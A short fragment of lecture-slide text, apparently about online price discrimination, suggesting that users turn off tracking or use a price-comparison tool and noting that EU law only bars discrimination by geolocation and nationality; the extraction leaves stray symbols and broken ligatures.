  • Turn ¡off ¡some ¡tracking, ¡use ¡$eriff ¡to ¡find ¡a ¡beVer ¡price ¡
  • EU ¡law: ¡only ¡prohibits ¡discriminaHon ¡based ¡on ¡geolocaHon ¡

and ¡naHonality ¡

68 ¡